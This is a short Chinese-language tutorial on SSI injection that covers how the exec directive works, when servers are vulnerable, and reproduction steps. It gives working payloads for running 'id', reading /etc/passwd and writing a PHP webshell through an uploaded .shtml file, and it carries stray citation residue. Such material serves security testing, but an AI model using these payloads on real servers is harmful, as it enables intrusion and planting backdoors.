一、漏洞描述
- SSI功能机制
SSI是一种在HTML中嵌入服务器指令的技术(如
<!--#exec cmd="命令"-->),用于动态生成内容。当服务器开启SSI和CGI支持时,解析.shtml文件会执行其中的指令136。 - 漏洞触发条件
- 服务器全局或特定应用启用了SSI(默认关闭)。
- 同时开启CGI支持(允许执行外部程序)。
- 攻击者能上传
.shtml文件(如通过存在缺陷的上传功能)。 - SSI目前已经很少使用,如果路径扫描的时候扫到shtml文件,可以尝试进行测试
二、漏洞复现与利用
-
攻击步骤
-
上传恶意
.shtml文件,内容包含指令:<!--#exec cmd="id" --> <!-- 执行系统命令 --> <!--#exec cmd="cat /etc/passwd" --> <!-- 读取敏感文件 --> <!--#exec cmd="echo '<?php phpinfo();?>' > /var/www/html/shell.php" --> <!-- 写入WebShell -->:cite[1]:cite[7]:cite[9] -
访问上传文件(如
http://目标/upload/shell.shtml),服务器解析并执行指令,返回命令结果57。
-
-
利用场景
- 绕过文件上传限制(如禁止
.php但允许.shtml)38。 - 结合其他漏洞(如路径遍历)扩大攻击面。
- 绕过文件上传限制(如禁止